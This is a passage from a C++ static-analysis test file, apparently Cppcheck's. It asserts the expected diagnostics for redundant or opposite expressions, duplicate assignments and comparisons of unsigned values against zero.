'||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) 